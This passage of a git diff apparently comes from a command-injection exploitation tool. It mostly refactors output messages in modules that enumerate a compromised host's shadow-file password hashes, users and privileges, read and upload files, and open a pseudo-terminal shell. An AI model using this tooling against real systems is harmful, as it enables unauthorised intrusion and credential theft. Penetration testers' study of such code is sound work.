session_handler.export_stored_cmd(url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -498,7 +444,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -509,25 +455,23 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -538,43 +482,49 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + if shell and shell != "": + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) """ Check the defined options """ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == "win": checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True + if menu.options.is_root or menu.options.is_admin: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 82385e21b4..c97d05ac54 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -32,7 +32,7 @@ """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -50,17 +50,13 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -137,8 +133,6 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - #if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -151,7 +145,8 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt """ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -195,8 +190,6 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index cc4659d8e0..7b30de7d19 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -62,8 +62,8 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.FILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) + debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'." + print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: @@ -274,14 +274,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + print(settings.print_payload(payload_msg)) # Cookie Injection if settings.COOKIE_INJECTION == True: @@ -369,7 +364,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to use the temporary directory (" + tmp_path + ") [Y/n] > " + message = "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -409,14 +404,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() - except KeyboardInterrupt: + except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: if 'vuln_parameter' in locals(): - # Delete previous shell (text) files (output) + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -500,12 +491,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -521,8 +513,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -546,8 +538,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -580,17 +572,15 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) if go_back == True: break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") + print(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -617,21 +607,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) - if not shell or shell == "": - if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." + if shell or shell != "": + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + print(settings.command_execution_output(shell)) + else: + err_msg = "The execution of '" + cmd + "' command does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -651,9 +633,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass except KeyboardInterrupt: - # if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) # Delete previous shell (text) files (output) + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index f09f0ec1ec..ed410bdc6c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -15,7 +15,6 @@ import re import sys - from src.utils import logs from src.utils import menu from src.utils import settings @@ -33,7 +32,7 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False + # _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") @@ -50,17 +49,14 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = info_msg output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -89,13 +85,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h shell = "".join(str(p) for p in output) if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -124,15 +119,13 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -146,22 +139,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_arch: + if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -181,66 +171,53 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) cu_account = output if cu_account: - cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) + + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + _ = False + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # The main command injection exploitation. + check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, output, vuln_parameter) + _ = True + else: + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = output + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() """ System users enumeration @@ -248,11 +225,19 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == settings.HTTPMETHOD.POST: settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) + cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -267,12 +252,6 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = output # Windows users enumeration. if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -283,10 +262,9 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -295,12 +273,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - check_privs = output + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + if alter_shell: + cmd = cmd.replace("'","\\'") + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -314,35 +292,26 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass + # Unix-like users enumeration. else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -350,31 +319,29 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + 